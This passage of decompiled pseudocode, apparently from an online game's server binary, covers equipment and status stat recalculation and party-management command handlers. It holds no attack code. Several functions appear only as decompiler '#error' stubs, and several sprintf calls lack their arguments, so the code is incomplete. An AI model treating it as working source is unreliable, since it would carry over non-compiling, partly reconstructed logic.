ibii.baseclass_0.ibi_Limit = (*(int (__thiscall **)(char *))(*((_DWORD *)v1 + 8042) + 8))((char *)v1 + 32168); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; LOBYTE(v64) = 1; ibii.baseclass_0.ibi_finger = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) || ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ) { while ( 1 ) { if ( toohanded && ibii.baseclass_0.ibi_finger == 10 || (v7 = ((int (__stdcall *)(int))ibii.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(ibii.baseclass_0.ibi_finger), (v8 = v7) == 0) || (v9 = *(_WORD *)(v7 + 8), (v10 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v7 + 8))) == 0) ) goto LABEL_36; if ( ibii.baseclass_0.ibi_finger != 11 ) break; v11 = (*(int (__thiscall **)(char *, signed int))*((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 10); if ( !v11 || *(_WORD *)(v11 + 8) == -1 ) goto LABEL_36; if ( ibii.baseclass_0.ibi_finger == 13 ) goto LABEL_18; LABEL_20: v13 = ItemAttributeClassContainer::operator__(&itmattcontainer, v9); if ( v13 ) { if ( v13->vfptr->iac_GetChargedNumber(v13, (ItemTotalInformation *)v8) || (*((_DWORD *)v1 + 23070) = &ShineObjectClass::ShineObject::so_CostumWeaponChargeing, (v14 = ChargedItemEffectDataBox::cideb_GetItemID(&chargedbuffdatabox, v9)) != 0) && v14->ce_Data->EffectEnum == 28 ) { *((_DWORD *)v1 + 23070) = v8; LABEL_25: *((_BYTE *)v1 + 92252) |= v10->MovingShot; *((_BYTE *)v1 + 92278) |= v10->dataserv->PreventAttack; *((_DWORD *)v1 + 1055) += v10->data->MinWC; *((_DWORD *)v1 + 1056) += v10->data->MaxWC; v15 = *((_DWORD *)v1 + 1060); *((_DWORD *)v1 + 1057) += v10->data->AC; v16 = *((_DWORD *)v1 + 1061); *((_DWORD *)v1 + 1060) = v10->data->MinMA + v15; v17 = *((_DWORD *)v1 + 1062); *((_DWORD *)v1 + 1061) = v10->data->MaxMA + v16; v18 = *((_DWORD *)v1 + 1058); *((_DWORD *)v1 + 1062) = v10->data->MR + v17; v19 = *((_DWORD *)v1 + 1059); *((_DWORD *)v1 + 1058) = v10->data->TH + v18; v20 = *((_DWORD *)v1 + 1077); v21 = *((_DWORD *)v1 + 1076); *((_DWORD *)v1 + 1059) = v10->data->TB + v19; *((_DWORD *)v1 + 1076) = v10->data->ShieldAC + v21; v22 = *((_DWORD *)v1 + 1078); *((_DWORD *)v1 + 1077) = v10->data->HitRatePlus + v20; v23 = *((_DWORD *)v1 + 1130); v24 = *((_DWORD *)v1 + 1079); *((_DWORD *)v1 + 1078) = v10->data->EvaRatePlus + v22; *((_DWORD *)v1 + 1079) = v10->data->MACriPlus + v24; v25 = *((_DWORD *)v1 + 1080); *((_DWORD *)v1 + 1130) = v10->data->CriRate + v23; *((_DWORD *)v1 + 1080) = v10->data->CriDamPlus + v25; v26 = *((_DWORD *)v1 + 1199); *((_DWORD *)v1 + 1081) += v10->data->MagCriDamPlus; *((_DWORD *)v1 + 1199) = v10->data->WCRate - 1000 + v26; *((_DWORD *)v1 + 1200) += v10->data->WCRate - 1000; v27 = *((_DWORD *)v1 + 1206); v28 = *((_DWORD *)v1 + 1204); *((_DWORD *)v1 + 1201) += v10->data->ACRate - 1000; v29 = *((_DWORD *)v1 + 1205); *((_DWORD *)v1 + 1204) = v10->data->MARate - 1000 + v28; *((_DWORD *)v1 + 1205) = v10->data->MARate - 1000 + v29; v30 = v10->data->MRRate; itemstat[0] = 0; itemstat[1] = 0; itemstat[2] = 0; *((_DWORD *)v1 + 1206) = v30 - 1000 + v27; itemstat[3] = 0; itemstat[4] = 0; FillRandomOption((ItemInventoryCell *)v8, v10, itemstat); v31 = itemstat[0]; v32 = *((_DWORD *)v1 + 1050); v33 = *((_DWORD *)v1 + 1052); *((_DWORD *)v1 + 1051) += itemstat[1]; v34 = itemstat[2] + v33; v35 = *((_DWORD *)v1 + 1054); v36 = v31 + v32; v37 = itemstat[3]; *((_DWORD *)v1 + 1050) = v36; v38 = *((_DWORD *)v1 + 1053); *((_DWORD *)v1 + 1052) = v34; v39 = itemstat[4] + v35; *((_DWORD *)v1 + 1053) = v37 + v38; *((_DWORD *)v1 + 1054) = v39; v40 = v10->itemoption; if ( v40 ) { *((_DWORD *)v1 + 1141) += v40->ResistPoison; v41 = *((_DWORD *)v1 + 1143); *((_DWORD *)v1 + 1142) += v10->itemoption->ResistDeaseas; v42 = *((_DWORD *)v1 + 1144); *((_DWORD *)v1 + 1143) = v10->itemoption->ResistCurse + v41; v43 = *((_DWORD *)v1 + 1213); *((_DWORD *)v1 + 1144) = v10->itemoption->ResistMoveSpdDown + v42; *((_DWORD *)v1 + 1213) = v10->itemoption->MoveSpdRate + v43; v44 = *((_DWORD *)v1 + 1202); *((_DWORD *)v1 + 1065) += v10->itemoption->AbsoluteAttack; *((_DWORD *)v1 + 1073) += v10->itemoption->Critical; v45 = *((_DWORD *)v1 + 1203); *((_DWORD *)v1 + 1202) = v10->itemoption->ToHitRate - 1000 + v44; v46 = *((_DWORD *)v1 + 1058); *((_DWORD *)v1 + 1203) = v10->itemoption->ToBlockRate - 1000 + v45; v47 = *((_DWORD *)v1 + 1059); *((_DWORD *)v1 + 1058) = v10->itemoption->ToHitPlus + v46; v48 = *((_DWORD *)v1 + 1085); *((_DWORD *)v1 + 1059) = v10->itemoption->ToBlockPlus + v47; v49 = *((_DWORD *)v1 + 1086); *((_DWORD *)v1 + 1085) = v10->itemoption->MaxHP + v48; *((_DWORD *)v1 + 1086) = v10->itemoption->MaxSP + v49; } v50 = (*(int (__stdcall **)(int))(**(_DWORD **)(v8 + 112) + 44))(v8); v51 = v50; if ( v50 ) { v61 = v50 <= 0xCu; if ( v50 <= 0xCu ) { v52 = UpgradeDataBox::operator__(&upgradedatabox, v10->data->BasicUpInx); switch ( v52->UpFactor ) { case 0: *((_DWORD *)v1 + 1249) += *((_WORD *)&v52->UpFactor + v51 + 1); break; case 2: *((_DWORD *)v1 + 1268) += *((_WORD *)&v52->UpFactor + v51 + 1); break; case 1: v53 = *((_DWORD *)v1 + 1248); *((_DWORD *)v1 + 1247) += *((_WORD *)&v52->UpFactor + v51 + 1); *((_DWORD *)v1 + 1248) = *((_WORD *)&v52->UpFactor + v51 + 1) + v53; break; case 3: v54 = *((_DWORD *)v1 + 1253); *((_DWORD *)v1 + 1252) += *((_WORD *)&v52->UpFactor + v51 + 1); *((_DWORD *)v1 + 1253) = *((_WORD *)&v52->UpFactor + v51 + 1) + v54; break; case 4: *((_DWORD *)v1 + 1254) += *((_WORD *)&v52->UpFactor + v51 + 1); break; default: goto LABEL_36; } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_RecalcEquipParam : Invalid upgrade", v50); } } goto LABEL_36; } } LABEL_36: if ( !ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ) goto LABEL_37; } if ( ibii.baseclass_0.ibi_finger != 13 ) goto LABEL_25; LABEL_18: v12 = (*(int (__thiscall **)(char *, signed int))*((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 12); if ( !v12 || *(_WORD *)(v12 + 8) == -1 ) goto LABEL_36; goto LABEL_20; } LABEL_37: v55 = (*(int (__thiscall **)(void *, ITEM_INVEN *))(*(_DWORD *)v1 + 1876))(v1, &inv); v56 = *(_DWORD *)v1; *((_DWORD *)v1 + 23059) = v55; (*(void (__thiscall **)(void *))(v56 + 1300))(v1); *((_DWORD *)v1 + 22478) = ShineObjectClass::ShinePlayer::sp_RecoverPoint_HPAfterItemEquip; ShineObjectClass::ShinePlayer::sp_SetItemCheck(v1); v57 = *((_DWORD *)v1 + 23070); if ( v57 && *(_WORD *)(v57 + 8) == -1 ) *((_DWORD *)v1 + 23070) = &ShineObjectClass::ShineObject::so_CostumWeaponChargeing; --funcallanalizer.fca_stackpoint; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; v64 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RecalcEquipParam"); } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87E4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); // 124D2458: using guessed type struct ItemTotalInformation ShineObjectClass__ShineObject__so_CostumWeaponChargeing; //----- (00497990) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_RecalcPassiveParam(void *this) { void *v1; // ebx@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RecalcPassiveParam"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_RecalcPassiveParam"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memcpy((char *)v1 + 5736, ¶meter_eraser_plus, 0xC0u); memcpy((char *)v1 + 5928, ¶meter_eraser_rate, 0xC0u); CharacterPassiveList::cpl_RecalcParam((CharacterPassiveList *)((char *)v1 + 68240), (ItemBag *)v1 + 1002); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RecalcPassiveParam"); } //----- (00497A60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_RecalcLastParam(void *this) { void *v1; // ebx@1 unsigned __int16 *v2; // eax@1 int v3; // edi@2 int v4; // esi@2 int v5; // edx@2 int v6; // ecx@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RecalcLastParam"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_RecalcLastParam"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memcpy((char *)v1 + 6504, ¶meter_eraser_plus, 0xC0u); memcpy((char *)v1 + 6696, ¶meter_eraser_rate, 0xC0u); v2 = (unsigned __int16 *)PassiveDataBox::sdb_SpecSkillStruct((PassiveDataBox *)&passivedatabox); if ( CharacterPassiveList::cpl_IsLearn((CharacterPassiveList *)((char *)v1 + 68240), *v2) ) { v3 = *((_DWORD *)v1 + 1675); v4 = *((_DWORD *)v1 + 1676); v5 = *((_DWORD *)v1 + 1677); *((_DWORD *)v1 + 1674) += 50; v6 = *((_DWORD *)v1 + 1678); *((_DWORD *)v1 + 1675) = v3 + 50; *((_DWORD *)v1 + 1676) = v4 + 50; *((_DWORD *)v1 + 1677) = v5 + 50; *((_DWORD *)v1 + 1678) = v6 + 50; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RecalcLastParam"); } //----- (00497B80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ParameterView(void *this, int param) { void *v2; // esi@1 char *v3; // [sp-30h] [bp-144h]@3 const char *v4; // [sp-2Ch] [bp-140h]@2 char buffer[256]; // [sp+4h] [bp-110h]@1 unsigned int v6; // [sp+104h] [bp-10h]@15 int v7; // [sp+110h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ParameterView"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ParameterView"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = 0; buffer[0] = 0; switch ( param ) { case 0: v4 = "Str/%d/%d/%d/%d/%d/%d/%d/%d/%d"; goto LABEL_12; case 1: v4 = "Con/%d/%d/%d/%d/%d/%d/%d/%d/%d"; v3 = buffer; goto LABEL_13; case 2: v4 = "Dex/%d/%d/%d/%d/%d/%d/%d/%d/%d"; v3 = buffer; goto LABEL_13; case 3: v4 = "Int/%d/%d/%d/%d/%d/%d/%d/%d/%d"; goto LABEL_12; case 4: v4 = "Men/%d/%d/%d/%d/%d/%d/%d/%d/%d"; v3 = buffer; goto LABEL_13; case 5: v4 = "WCmin/%d/%d/%d/%d/%d/%d/%d/%d/%d"; v3 = buffer; goto LABEL_13; case 6: v4 = "WCmax/%d/%d/%d/%d/%d/%d/%d/%d/%d"; goto LABEL_12; case 7: v4 = "AC/%d/%d/%d/%d/%d/%d/%d/%d/%d"; v3 = buffer; goto LABEL_13; case 8: v4 = "TH/%d/%d/%d/%d/%d/%d/%d/%d/%d"; v3 = buffer; goto LABEL_13; case 9: v4 = "TB/%d/%d/%d/%d/%d/%d/%d/%d/%d"; LABEL_12: v3 = buffer; LABEL_13: sprintf(v3, v4); if ( buffer[0] ) (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v2 + 1836))(v2, buffer); break; default: break; } --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ParameterView"); __security_check_cookie(v6); } //----- (00497F90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_RecalcAbstateParam(void *this) { void *v1; // ebp@1 char v2; // cl@1 unsigned __int16 v3; // di@1 unsigned __int16 v4; // dx@2 int v5; // eax@3 int v6; // esi@3 unsigned __int16 v7; // cx@3 bool v8; // cf@3 int v9; // eax@4 AbnormalStateContainer::AbstateElementInObject *v10; // eax@5 int v11; // eax@9 unsigned __int16 lt; // [sp+4h] [bp-18h]@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_RecalcAbstateParam"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_RecalcAbstateParam"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memcpy((char *)v1 + 6120, ¶meter_eraser_plus, 0xC0u); memcpy((char *)v1 + 6312, ¶meter_eraser_rate, 0xC0u); v2 = *((_BYTE *)v1 + 7094); *((_WORD *)v1 + 3545) = 1000; *((_WORD *)v1 + 3546) = 0; *((_WORD *)v1 + 3540) = 0; *((_WORD *)v1 + 3544) = 0; *((_WORD *)v1 + 3543) = 0; *((_WORD *)v1 + 3542) = 0; *((_WORD *)v1 + 3541) = 0; *((_BYTE *)v1 + 7094) = v2 & 0xF8; *((_WORD *)v1 + 3548) = 0; *((_WORD *)v1 + 3549) = 0; *((_WORD *)v1 + 3550) = -1; *((_WORD *)v1 + 3551) = 1000; *((_DWORD *)v1 + 1619) = 0; *((_DWORD *)v1 + 1610) = 0; *((_DWORD *)v1 + 1131) = 0; v3 = *(_WORD *)(*((_DWORD *)v1 + 923) + 12 * *((_WORD *)v1 + 1849) + 4); while ( 1 ) { v4 = *((_WORD *)v1 + 1844); if ( v3 >= v4 ) break; v5 = *((_DWORD *)v1 + 923); v6 = v3; v7 = v3; v8 = v3 < v4; v3 = *(_WORD *)(v5 + 12 * v3 + 4); lt = v7; if ( v8 && (v9 = v5 + 12 * v6, *(_BYTE *)(v9 + 8)) ) v10 = *(AbnormalStateContainer::AbstateElementInObject **)v9; else v10 = 0; if ( AbnormalStateContainer::AbstateElementInObject::aeo_GetAbstateElement(v10) ) { if ( lt < *((_WORD *)v1 + 1844) && (v11 = *((_DWORD *)v1 + 923) + 12 * v6, *(_BYTE *)(v11 + 8)) ) AbnormalStateContainer::AbstateElementInObject::aeo_ParameterEnchant(*(AbnormalStateContainer::AbstateElementInObject **)v11); else AbnormalStateContainer::AbstateElementInObject::aeo_ParameterEnchant(0); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_RecalcAbstateParam"); } //----- (00498160) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_DISMISS_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { unsigned __int16 v3; // si@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_DISMISS_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_PARTY_DISMISS_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = netcmd[1].protocol; if ( v3 < 0x7D0u ) { MapClusterManager::ClusterManager::cm_DeleteInstanceDungeon(&mapclustermanager, 0, v3); PartyManufacture::pm_Break(&partymanufacture, v3); CParty::PartyDelete(&partycontainer, v3); } else { AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_NC_PARTY_DISMISS_CMD : delete party in empty slot", v3); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_DISMISS_CMD"); } //----- (00498240) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_CHANGEMASTER_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_CHANGEMASTER_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_PARTY_CHANGEMASTER_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CParty::MemberSetMaster(&partycontainer, netcmd[1].protocol, *(_DWORD *)&netcmd[2].protocol); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_CHANGEMASTER_CMD"); } //----- (004982F0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_LOGIN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_LOGIN_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_PARTY_LOGIN_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_LOGIN_CMD"); } //----- (00498340) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_LOGOUT_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_LOGOUT_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_PARTY_LOGOUT_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_LOGOUT_CMD"); } //----- (00498390) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_ITEM_LOOTING_ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { unsigned __int16 v3; // ax@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_ITEM_LOOTING_ZONE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_PARTY_ITEM_LOOTING_ZONE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = netcmd[1].protocol; if ( v3 < 0x7D0u ) CParty::SetItemLooting(&partycontainer, v3, LOBYTE(netcmd[2].protocol)); else AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_NC_PARTY_DISMISS_CMD : delete party in empty slot", v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_ITEM_LOOTING_ZONE_CMD"); } //----- (00498460) -------------------------------------------------------- #325 *__thiscall PartyManufacture::pm_FindMember(PartyManufacture *this, unsigned __int16 partyregnum, unsigned __int16 sub) { #325 *result; // eax@2 char *v4; // eax@3 char v5; // cl@3 int v6; // esi@5 #325 *v7; // esi@11 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PartyManufacture::pm_FindMember"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PartyManufacture::pm_FindMember"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( partyregnum < 0x7D0u ) { v4 = (char *)&partycontainer + 168 * partyregnum; v5 = *v4; v6 = (unsigned __int8)*v4 >= 2u && (unsigned __int8)v5 <= 5u; if ( v6 ) { if ( sub < (unsigned __int8)v5 ) { v7 = *(#325 **)&v4[32 * (sub + 1)]; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PartyManufacture::pm_FindMember"); result = v7; } else { AssertClass::ac_AssertFail(&shineassert, "PartyManufacture::pm_FindMember : sub is too big", sub); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PartyManufacture::pm_FindMember"); result = 0; } } else { AssertClass::ac_AssertFail( &shineassert, "PartyManufacture::pm_FindMember : Invalid party member number", (unsigned __int8)v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PartyManufacture::pm_FindMember"); result = 0; } } else { AssertClass::ac_AssertFail(&shineassert, "PartyManufacture::pm_FindMember : Too large party regnum", partyregnum); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PartyManufacture::pm_FindMember"); result = 0; } return result; } //----- (00498610) -------------------------------------------------------- #error "498610: undefined or illegal type '#325' (funcsize=61)" //----- (00498700) -------------------------------------------------------- #error "498700: undefined or illegal type '#325' (funcsize=155)" //----- (004988F0) -------------------------------------------------------- #error "4988F0: undefined or illegal type '#325' (funcsize=100)" //----- (00498A30) -------------------------------------------------------- #error "498A30: undefined or illegal type '#325' (funcsize=51)" //----- (00498B00) -------------------------------------------------------- #error "498B00: undefined or illegal type '#325' (funcsize=117)" //----- (00498CA0) -------------------------------------------------------- #error "498CA0: undefined or illegal type '#325' (funcsize=87)" //----- (00498DB0) -------------------------------------------------------- unsigned __int16 __thiscall PartyManufacture::pm_FindParty(PartyManufacture *this, unsigned int chrregnum) { int v2; // esi@1 CParty::PARTY_SLOT *v3; // eax@2 int v4; // edx@2 int v5; // ecx@2 int v6; // eax@3 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PartyManufacture::pm_FindParty"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PartyManufacture::pm_FindParty"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; while ( 1 ) { v3 = CParty::operator__(&partycontainer, v2); v4 = v3->NumOfMember; v5 = 0; if ( v4 > 0 ) break; LABEL_6: ++v2; if ( (unsigned __int16)v2 >= 0x7D0u ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PartyManufacture::pm_FindParty"); return -1; } } v6 = (int)v3->Members; while ( chrregnum != *(_DWORD *)v6 ) { ++v5; v6 += 32; if ( v5 >= v4 ) goto LABEL_6; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PartyManufacture::pm_FindParty"); return v2; } //----- (00498EB0) -------------------------------------------------------- #error "498EB0: undefined or illegal type '#434' (funcsize=78)" //----- (00498FC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_SendPartyInformTo(void *this, int a2) { void *v2; // esi@1 int v3; // edx@1 unsigned __int16 v4; // bp@1 int v5; // eax@1 unsigned int v6; // ecx@1 char *v7; // ecx@1 __int16 v8; // ST1C_2@1 CParty::PARTY_SLOT *v9; // ebp@1 signed int v10; // ebx@3 int v11; // esi@4 unsigned int v12; // eax@5 char *v13; // eax@5 char *v14; // [sp-10h] [bp-A8h]@2 char buf[128]; // [sp+8h] [bp-90h]@1 unsigned int v16; // [sp+88h] [bp-10h]@7 int v17; // [sp+94h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SendPartyInformTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_SendPartyInformTo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; v17 = 0; v4 = (*(int (__thiscall **)(void *))(v3 + 1336))(v2); v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1352))(v2); v6 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v6; v7 = (char *)&namestring + 256 * v6; *(_DWORD *)v7 = *(_DWORD *)v5; *((_DWORD *)v7 + 1) = *(_DWORD *)(v5 + 4); *((_DWORD *)v7 + 2) = *(_DWORD *)(v5 + 8); *((_DWORD *)v7 + 3) = *(_DWORD *)(v5 + 12); v7[16] = 0; v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 832))(v2); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); sprintf(buf, "PartyRegNum[%d]CharRegNum[%d]HndW[%d]HndZ[%d]CharID[%s]"); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)a2 + 1836))(a2, buf); v9 = CParty::operator__(&partycontainer, v4); if ( v9 ) { sprintf(buf, "Party member : %d\n"); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)a2 + 1836))(a2, buf); v10 = 0; if ( v9->NumOfMember ) { v11 = (int)&v9->Members[0].MemberInform.Member.charname.n4_name[8]; do { v12 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v12; v13 = (char *)&namestring + 256 * v12; *(_DWORD *)v13 = *(_DWORD *)(v11 - 8); *((_DWORD *)v13 + 1) = *(_DWORD *)(v11 - 4); *((_DWORD *)v13 + 2) = *(_DWORD *)v11; *((_DWORD *)v13 + 3) = *(_DWORD *)(v11 + 4); v13[16] = 0; sprintf(buf, "RegNum[%d]hndZ[%d]hndW[%d]CharID[%s]Level[%d]Flag[%d]Merchine[%d]Obj[%s]"); (*(void (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)a2 + 1836))(a2, buf); ++v10; v11 += 32; } while ( v10 < v9->NumOfMember ); } v14 = "ShineObjectClass::ShinePlayer::so_ply_SendPartyInformTo"; } else { (*(void (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)a2 + 1836))(a2, "Null party"); v14 = "ShineObjectClass::ShinePlayer::so_ply_SendPartyInformTo"; } --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v14); __security_check_cookie(v16); } //----- (00499210) -------------------------------------------------------- #error "499210: undefined or illegal type '#325' (funcsize=106)" //----- (00499390) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_LogoutDuringParty(void *this) { void *v1; // esi@1 unsigned __int16 v2; // ax@2 CParty::PARTY_SLOT *v3; // edi@2 int v4; // ecx@2 int v5; // edi@4 signed int v6; // ebp@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LogoutDuringParty"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_LogoutDuringParty"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int16)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1336))(v1) != -1 ) { v2 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1336))(v1); v3 = CParty::operator__(&partycontainer, v2); v4 = (unsigned __int16)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1336))(v1); if ( v3 != 0 ) { v5 = (int)&v3->Members[0].MemberInform.Member.charname.n4_name[8]; v6 = 5; do { if ( *(_DWORD *)(v5 - 16) == (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1) ) { *(_DWORD *)(v5 + 12) = 0; *(_BYTE *)(v5 + 10) = -1; *(_WORD *)(v5 - 12) = -1; *(_DWORD *)(v5 - 8) = *(_DWORD *)((char *)v1 + 32025); *(_DWORD *)(v5 - 4) = *(_DWORD *)((char *)v1 + 32029); *(_DWORD *)v5 = *(_DWORD *)((char *)v1 + 32033); *(_DWORD *)(v5 + 4) = *(_DWORD *)((char *)v1 + 32037); *(_BYTE *)(v5 + 8) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1220))(v1); *(_BYTE *)(v5 + 9) = 0; } v5 += 32; --v6; } while ( v6 ); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Party not found", v4); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, 